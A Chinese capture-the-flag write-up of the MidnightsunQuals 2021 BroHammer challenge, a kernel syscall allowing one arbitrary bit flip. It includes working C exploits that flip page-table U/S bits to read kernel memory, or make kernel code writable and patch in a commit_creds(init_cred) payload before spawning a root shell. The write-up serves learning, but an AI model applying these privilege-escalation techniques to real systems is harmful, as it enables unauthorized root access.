【1 bit 翻转+无任何保护】MidnightsunQuals 2021 BroHammer

前言

又是一道非常有意思的题目,其实笔者很喜欢这种跟页表、特权级等相关的题目(:虽然大多都无法独立做出来,但是通过这些题目可以学到很多的东西

题目分析

  • 内核版本:v4.17.0
  • smap/smep/kpti/kaslr 全关

题目给了源码:

#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/sched.h>
#include <linux/syscalls.h>

#ifndef __NR_BROHAMMER
#define __NR_BROHAMMER 333
#endif

unsigned long flips = 0;

SYSCALL_DEFINE2(brohammer, long *, addr, long, bit)
{
        if (flips >= 1)
        {
                printk(KERN_INFO "brohammer: nope\n");
                return -EPERM;
        }

        *addr ^= (1ULL << (bit));
        (*(long *) &flips)++;

        return 0;
}

可以看到漏洞非常简单,1 bit 任意可写地址翻转,只能使用一次。由于这里的 flipsunsigned long 类型,所以这里无法通过修改 flips 实现无限次的任意可写地址 1 bit 翻转;然后代码段又是不可写的,所以也无法修改 if (flips >= -1) 逻辑实现无限次的任意可写地址 1 bit 翻转。所以这里就只能是完全通过一次任意可写地址 1 bit 翻转去提权或获取 flag(:毕竟是 CTF 题目

漏洞利用

方案一:修改 PTE.U/S 实现普通用户对特权页面的访问

首先是参考了 hxp 的方案,其主要就是去拿 flag,思路如下:

  • 前置知识:
    • initramfs 文件系统中的所有内容都会被读取到内存当中,且每次都在一个固定的区域当中,由于关闭了 kaslr,所以这个区域是已知的(记作 flag_area),其对应的 PTE 地址也是固定的
    • PTE 中的 U/S 字段指定一个页或者一组页的特权级,其为 PTE 的第 2 bit (从 lsb = 0 bit 开始),当其为 0 时表示只有 supervisor 才能访问对应的页;为 1 表示普通 user 也可以访问对应的页
  • 利用思路:
    • 先调试定位上述 flag_area 对应 PTE 的地址,其是固定的
    • 然后利用漏洞翻转对应 PTEU/S 字段,此时普通用户就可以访问上述 flag_area 区域
    • 遍历 flag_area 区域寻找 flag

这里实际定位是在 PDE 中,因为这里的 PS 位被置位,所以 PDE 并不执行 PTE,而是直接作为页的起始地址,但是笔者习惯将最后一级转换表称作 PTE

本地的 flag 的内容为:

xiaozaya@vm:~/rubbish/MidnightsunCTF2021_Brohammer$ cat fs/root/flag
this is where the flag will be on the remote host...

调试定位该 flag 所属的 flag_area 区域:

gef> search-pattern "this is where the flag will be on the remote host..."
[+] Searching 'this is where the flag will be on the remote host...' in whole memory
[+] In (0xffff880000200000-0xffff880007e00000 [rw-])
  0xffff880003321000:    74 68 69 73 20 69 73 20  77 68 65 72 65 20 74 68
gef> x/s 0xffff880003321000
0xffff880003321000:     "this is where the flag will be on the remote host...\n"

可以看到这里 flag 的地址为 0xffff880003321000,然后定位其对应 PTE 的地址:

0x00000000018fb0c8: 0x80000000032001e3 (virt:0xffff880003200000-0xffff880003400000,type:2MB-PAGE) A A NO_US A D G XD

可以看到 flag 所在的区域 flag_area0xffff880003200000-0xffff88000340000,其对应的 PTE 的物理地址为 0x00000000018fb0c8,然后其 PTE 值为 0x80000000032001e3,可以看到这里的 bin(3) = 0b11,即这里的 U/S 字段为 0,表示只有特权用户才能访问 flag_area: 0xffff880003200000-0xffff88000340000 区域

0x00000000018fb0c8 转换为虚拟地址为 0xffff8800018fb0c8(这里其实有两个对应的虚拟地址,这里选择直接映射区的这个地址),然后利用漏洞修改 PTEU/S 字段:

gef> x/gx 0xffffffff818fb0c8
0xffffffff818fb0c8:     0x80000000032001e3 <==== 修改前
gef> x/gx 0xffffffff818fb0c8
0xffffffff818fb0c8:     0x80000000032001e7 <==== 修改后 bin(7) = 0b111 ==> U/S=1

可以看到这里已经没有了 NO_US 标志了,说明普通用户已经可以访问 flag_area 区域了:

0x00000000018fb0c8: 0x80000000032001e7 (virt:0xffff880003200000-0xffff880003400000,type:2MB-PAGE) A A A D G XD

最后遍历 flag_area 区域寻找 flag 即可,最后 exp 如下:

#include <stdio.h>
#include <unistd.h>

int main() {
        syscall(333, 0xffff8800018fb0c8, 2);
        unsigned long long start = 0xffff880003200000;
        for (unsigned long long i = 0; i < 0x200000 / 0x1000; i++) {
                char* addr = start + i * 0x1000;
                if (addr[0] == 't' && addr[1] == 'h') {
                        printf("%d: %s\n", i, addr);
                        break;
                }
        }
        return 0;
}

效果如下:
在这里插入图片描述

方案二:修改内核代码段 pte 提权

第二种方案参考 Will's Root 的文章,其跟方案一其实类似,这里就边调试边讲解。通过内核符号表可以知道 startup_64 总是被映射到 0xffff880001000000,调试可以知道其为 PDE 中对应的一个 2M 内存区域:

0x00000000018fb040: 0x80000000010001e1 (virt:0xffff880001000000-0xffff880001200000,type:2MB-PAGE) A A NO_RW NO_US A D G XD

该区域对应的 PDE(PTE) 没有 W 权限和 US 权限,其中题目提供的系统调用函数 __x64_sys_brohammer 也被映射到该区域:

gef> x/3gi 0xffff8800010b1344
   0xffff8800010b1344:  endbr64
   0xffff8800010b1348:  cmp    QWORD PTR [rip+0x8459a8],0x0        # 0xffff8800018f6cf8
   0xffff8800010b1350:  mov    rcx,QWORD PTR [rdi+0x68]
   
gef> x/3gi 0xffffffff810b1344
   0xffffffff810b1344 <__x64_sys_brohammer>:    endbr64
   0xffffffff810b1348 <__x64_sys_brohammer+4>:  cmp    QWORD PTR [rip+0x8459a8],0x0        # 0xffffffff818f6cf8
   0xffffffff810b1350 <__x64_sys_brohammer+12>: mov    rcx,QWORD PTR [rdi+0x68]

所以这里主要的想法就是去控制 0x00000000018fb040 对应的区域,从而控制 0xffff880001000000-0xffff880001200000 区域的权限,然后调试发现,0xffff8800018fb060 处的 PDE(PTE) 可以控制 0xffff880001800000-0xffff880001900000 区域:

      0xffff8800018fb040|+0x0000|+000: 0x80000000010001e1
      0xffff8800018fb048|+0x0008|+001: 0x80000000012001e1
      0xffff8800018fb050|+0x0010|+002: 0x0000000007986063
      0xffff8800018fb058|+0x0018|+003: 0x0000000007987063
      0xffff8800018fb060|+0x0020|+004: 0x80000000018001e3 <====

所以这里可以修改 0xffff8800018fb060 处的 PDE(PTE)U/S 标志位,从而就可以控制 0xffff8800018fb040 的值,从而修改 0x80000000010001e10x80000000010001e7 赋予 WU/S 权限,此时就可以在用户态去修改内核态的代码硬编码,这里选择修改 __x64_sys_brohammer

gef> x/16gi __x64_sys_brohammer
   0xffffffff810b1344 <__x64_sys_brohammer>:    endbr64
   0xffffffff810b1348 <__x64_sys_brohammer+4>:  mov    rdi,0xffffffff81833100
   0xffffffff810b134f <__x64_sys_brohammer+11>: mov    rax,0xffffffff81034bbc
   0xffffffff810b1356 <__x64_sys_brohammer+18>: call   rax
   0xffffffff810b1358 <__x64_sys_brohammer+20>: ret

然后调用 brohammer 系统调用即可执行 commit_creds(init_cred),由于这里是正常的系统调用,所以不需要像之前漏洞利用那样手动返回到用户态,这里正常执行完系统调用后,会自动返回用户态

这里有个问题,我通过 pwntools 生成 shellcode 无法写入,然后我直接写入字符串发现只能写入 9 个字符?但是用参考文章中的方法又可以成功写入,目前暂时不知道咋回事,参考文章中最后 exp 如下:

#include <stdio.h>
#include <unistd.h>
#include <stdint.h>

#define FLIPS 0xffffffff818f6cf8
#define COMMIT_CREDS "0xffffffff81034bbc"
#define INIT_CRED "0xffffffff81833100"
#define evil "mov rdi, "INIT_CRED";\nmov rax, "COMMIT_CREDS";\ncall rax;\nret;"

void rootkit();
asm("rootkit:"
    evil);

void GUARD()
{
    return;
}


int main() {
        syscall(333, 0xffff8800018fb060, 2);
        uint64_t* addr = 0xffff8800018fb040;
        *addr = 0x80000000010001e7;
        char* code = 0xffff880001000000 + 0xb1348;
        //char* shellcode = "\x90\x90\x90h\x001\x83\x81_h\xbcK\x03\x81X\xff\xd0\xc3";
        char* shellcode = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB";
        memcpy(code, rootkit, GUARD-rootkit);
        syscall(333, 0xdeadbeef, 0);
        system("/bin/sh");
        return 0;
}

IDA 打开生成的 lpe 二进制文件:
在这里插入图片描述
但是我直接用 pwntools 生成的 "H\xc7\xc7\x001\x83\x81H\xc7\xc0\xbcK\x03\x81\xff\xd0\xc3" 却无法正常写入,这里都是一样的,不知道为啥

效果如下:
在这里插入图片描述

总结

通过调试,对 linux 四级页表更加清晰了,也对相关保护权限有了一定的了解,总的来说学到了很多😀

参考

Midnightsun CTF 2021: Brohammer
MidnightsunQuals 2021 BroHammer Writeup (Single Bit Flip to Kernel Privilege Escalation)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/617472.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

ipa 功能包调试,分区算法,覆盖算法测试

参考 wiki 流网络 flow network 解释 相关文章 ipa 分区算法 ipa 分区算法总结&#xff0c;部分算法图解 环境 ubuntu20&#xff0c;ros 版本 noetic 运行测试 按照 readme 提示进行测试&#xff0c;跳过第一个步骤&#xff0c;并不需要 turtlebot3。 执行第三个 launch 报…

第02章 计算机网络概述

2.1 本章目标 了解计算机网络的定义了解计算机网络的功能了解计算机网络的分类了解计算机网络的组成 2.2 计算机网络的定义 2.3 计算机网络的功能 2.4 计算机网络的分类 物理拓扑结构分类&#xff1a;总线型、环型、星型 2.5 计算机网络的组成 网络适配器(NIC)接口规格分类&a…

事件高级。

一、注册事件&#xff08;绑定事件&#xff09; 就是给元素添加事件 注册事件有两种方式&#xff1a;传统方式和方法监听注册方式 1 传统注册方式 方法监听注册事件 2、 addEventListener 事件监听方式 里面的事件类型是字符串&#xff0c;必定加引号&#xff0c;而且不带o…

【busybox记录】【shell指令】ls

目录 内容来源&#xff1a; 【GUN】【ls】指令介绍 【busybox】【ls】指令介绍 【linux】【ls】指令介绍 使用示例-默认输出&#xff1a; 列出目录内容 - 默认输出 列出目录内容 - 不忽略以.开头的文件 列出目录内容 - 不忽略以.开头的文件&#xff0c;只忽略.和..文件…

机器学习笔记导航(吴恩达版)

01.机器学习笔记01&#xff1a;机器学习前置概念导入、线性回归、梯度下降算法 02.机器学习笔记02&#xff1a;多元线性回归、多元梯度下降算法、特征缩放、均值归一化、正规方程 03.机器学习笔记03&#xff1a;octave安装、创建矩阵 04.机器学习笔记04&#xff1a;octave中移动…

量化之王西蒙斯:那些投资“神迹”和难言的“身后事”

投资大师总是相偕而来&#xff0c;又相伴而去。 美国当地时间2024年5月10日&#xff0c;量化投资大师西蒙斯&#xff08;James Harris Simons&#xff09;骤然去世&#xff0c;享年86岁。 此时距离芒格离世不到半年。 西蒙斯拥有数学家、投资家、慈善家、量化行业开拓者、密…

17_基于Flash和RAM的的文件系统选择

嵌入式系统常见文件系统 本文主要讲述在嵌入式系统中,常见的基于flash和内存(RAM)的文件系统类型,具体选择要结合实际需求灵活选配。 一、基于 Flash 的文件系统 基于 Flash 的文件系统主要包括 JFFS2、 YAFFS、 Cramfs 和 Romfs 等,各种文件系统具有不同的特点,本文将分…

UBoat:一款功能强大的HTTP Botnet学习与研究工具

关于UBoat UBoat是一款功能强大的HTTP Botnet概念验证工具&#xff0c;该工具支持复刻一个现实场景中完整功能的Botnet测试环境&#xff0c;广大研究人员可以利用UBoat深入学习和研究Botnet的工作机制&#xff0c;以此来提升安全检测和保护策略。 功能介绍 1、基于C开发&…

halcon学习之一维测量基础

目录 创建测量矩形&#xff0c;获取测量句柄 gen_measure_rectangle2&#xff08;&#xff09; 使用句柄进行测量 measure_pos&#xff08;&#xff09; 修改参数Threshold 修改参数Transition 修改参数select 参数RowEdge&#xff0c;ColumnEdge&#xff0c;Distance …

Lab4: traps

RISC-V assembly Which registers contain arguments to functions? For example, which register holds 13 in mains call to printf? 根据RISC-V函数调用规范&#xff0c;函数的前8个参数使用a0-a7寄存器传递。 当main函数调用printf函数时&#xff0c;a2寄存器保存13 …

7.STL_string1.0(详细)

目录 1. 什么是STL 2. STL的版本 3. STL的六大组件 1. 为什么学习string类&#xff1f; 1.1 C语言中的字符串 2. 标准库中的string类 2.1 string类(了解) 2.2 string类的常用接口说明 1. string类对象的常见构造 2. string类对象的容量操作 reserve 3. string类对象…

C++入门必读-Qt的安装与配置

QT简介 Qt是一个跨平台的C图形用户界面应用程序框架。它为应用程序开发者提供建立图形界面所需的所有功能。它是完全面向对象的&#xff0c;很容易扩展&#xff0c;并且允许真正的组件编程。 QT下载 访问下载网站: Index of /archive/qt 安装编译器 QT安装 建议安装之前将网络断…

【回溯 字典树(前缀树)】212. 单词搜索 II

本文涉及知识点 回溯 字典树&#xff08;前缀树&#xff09; LeetCode212. 单词搜索 II 给定一个 m x n 二维字符网格 board 和一个单词&#xff08;字符串&#xff09;列表 words&#xff0c; 返回所有二维网格上的单词 。 单词必须按照字母顺序&#xff0c;通过 相邻的单元…

Android studio 打开Device Mirroring方便调试

巧合下发现一个很好用的工具&#xff0c;在平时调试真机的时候在每次run app后都要低头找找手机看看效果。但是&#xff0c;用了AS上的Device Mirroring&#xff0c;你会发现根本不需要再低头点手机&#xff0c;调试方便一万倍啊。 话不多说&#xff0c;上图。直接就可以在电脑…

【初级数据结构】队列

目录 前言队列的概念及结构队列的实现队列的结构队列的初始化队列的销毁入队出队取队头元素取队尾元素判断队列是否为空取出队列中元素个数代码测试 完整代码Queue.hQueue.ctest.c 前言 前面我们已经学习了栈&#xff0c;栈是一种后进先出的结构&#xff0c;即LIFO&#xff0c;…

从JSON数据到Pandas DataFrame:如何解析出所需字段

目录 一、引言 二、JSON数据的基本结构 三、使用Pandas从JSON数据中读取数据 四、从DataFrame中解析出所需字段 解析对象字段 解析嵌套对象字段 解析数组字段 五、案例与代码示例 六、总结 一、引言 在数据分析和处理的日常工作中&#xff0c;我们经常需要从各种…

【Qt 学习笔记】Qt常用控件 | 多元素控件 | Table Widget的说明及介绍

博客主页&#xff1a;Duck Bro 博客主页系列专栏&#xff1a;Qt 专栏关注博主&#xff0c;后期持续更新系列文章如果有错误感谢请大家批评指出&#xff0c;及时修改感谢大家点赞&#x1f44d;收藏⭐评论✍ Qt常用控件 | 多元素控件 | Table Widget的说明及介绍 文章编号&#…

【JS红宝书学习笔记】第3章 语言基础

第3章 语言基础 1. 语法 标识符&#xff08;变量、函数、属性或函数参数的名称&#xff09;&#xff1a;一般使用驼峰法命名&#xff0c;关键字、保留字、true、false 和 null 不能作为标识符。 标识符的第一个字符必须是一个字母、下划线&#xff08;_&#xff09;或美元符号…

乡村振兴与数字乡村建设:加强农村信息化建设,推动数字乡村发展,提升乡村治理和服务水平,构建智慧化的美丽乡村

目录 一、引言 二、数字乡村建设的必要性 1、推动农村经济转型升级 2、提升乡村治理水平 3、改善乡村民生福祉 三、数字乡村建设的现状与挑战 1、现状 2、挑战 四、数字乡村建设的未来发展路径 1、加强农村信息化基础设施建设 2、提升农民信息素养和技能水平 3、制…

软件设计师笔记和错题

笔记截图 数据库 模式是概念模式 模式/内模式 存在概念级和内部级之间&#xff0c;实现了概念模式和内模式的互相转换 外模式/模式映像 存在外部级和概念级之间&#xff0c;实现了外模式和概念模式的互相转换。 数据的物理独立性&#xff0c; 概念模式和内模式之间的映像…